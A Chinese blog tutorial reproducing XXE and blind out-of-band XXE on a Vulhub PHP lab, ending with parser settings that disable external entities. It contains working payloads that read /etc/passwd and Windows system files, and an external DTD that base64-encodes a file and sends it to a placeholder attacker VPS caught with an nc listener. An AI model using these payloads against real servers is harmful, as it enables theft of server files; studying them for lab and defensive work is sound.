Vulhub-XXE&Bind OOB XXE 复现(超级详细)

XXE的定义

XXE就是XML外部实体注入,XML中有5种实体,如果网站允许使用外部实体,通过恶意构造内容就有可能实现任意文件读取

、内网探测、命令执行等。

 

简单了解

XML有一个格式规范是由DTD(文档类型定义)来决定的

如下:

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

这个DTD就定义了XML的根元素是message,而后有一些子元素receive、sender等,规定了格式的XML就需要写成

如下这样:

<message>
<receiver>Yourself<receiver>
<send>People<send>
<header>balabala</header>
<msg>xxe</msg>
</message>

除了能在DTD中定义元素外还能在其中定义实体,允许外部实体可能会存在XXE注入,而参数实体又是Blind OOB XXE的必要条件

定义代码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里是any接受任何元素,而且定义了一个XML的内部实体,而实体可以通过&在XML中引用

如下:这对上面定义的内部实体的xxe进行了引用,解析的时候&xxe;就会被替换成test

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

 

继续深入

其实实体也能从外部的DTD文件中来引用

如下代码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

如果这样配置引用的话,对网站资源所做的任何更改都会在文档中自动更新,就很方便,

但是这样的安全风险就很大了。

 

在XML中除了把实体分成外部和内部实体,还能分成参数和通用实体。

通用实体

用&name; 在DTD中定义,在XML文档中引用

代码:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

参数实体

1.使用%(空格)name 在DTD中定义,且只能在DTD中使用%name;

2.在DTD中参数实体的声明才能引用其他实体

3.参数实体可以外部引用

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

 

0x01 复现环境

漏洞环境:https://vulhub.org/#/environments/php/php_xxe/

  • PHP 7.0.30
  • libxml 2.8.0

libxml2.9.0以后,默认不解析外部实体。

 

0x02 漏洞挖掘

访问phpinfo页面,可以看到libxml版本是2.8.0,默认是解析外部实体的

 

 

 

丢御剑扫一下还有什么目录

 

 

 这里看dom.php的代码

从字符串加载XML文档

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);

 

0x03 漏洞复现

 那么我们可以通过这个dom来进行注入

通过上面的了解,我们写一段XML

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <user>

<name>&xxe;</name>

</user>

 

 

 

 这里就能任意读取文件了。

 

0x04 漏洞再深入

Bind OOB XXE

当存在无回显想要读取敏感文件的时候,就需要用到file协议并且数据外带了。

这里的环境就搭在本机上,靶机代码

xml.php

<?php

libxml_disable_entity_loader (true);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

 

这里用的参数实体 % send,因为代码解析问题html实体转移会报解析错误,所以把%写成实体 &#37;

我们试试和之前一样的payload直接利用读取文件

 

可以看到没有回显!!

 

 

这时候我们需要访问远程服务器的DTD文件,而这个文件是我们恶意构造的 代码如下:

xxe.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://VPSip:9999?p=%file;'>">

 

 

构造的payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://VPSip/vps/xxe.dtd">
%remote;%int;%send;
]>

 

 

然后在VPS上打开监听

nc -lvv 9999

 

 

 

然后用payload发包

很奇怪我VPS没有监听反应的时候这里报错返回包携带了读取文件信息

 

最后又用lvp命令,多次尝试,

然后VPS成功响应

 

 此时的返回包是这样的,是一个php报错页面

 

 

 

 

 

 总之已经在无回显的情况成功读取文件~~

构造调用流程:

通过对DTD文件构造,首先通过payload里面的%remote参数实体去访问VPS上的DTD文件xxe.dtd,

然后通过%int调用xxe.dtd中的%file,它会去读取我们在这一行代码中写到的文件:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">

 

然后将%file的值填入到xxe.dtd中的%send参数实体,然后发送到我们的VSP上。

 

注:因为实体的值中不能有 %, 所以将其转成html实体编码 &#37

 

0x04 XXE防御

方案一:使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

 

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

 

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

参考链接

posted @ 2021-11-22 16:27  Erichas  阅读(1570)  评论(0编辑  收藏  举报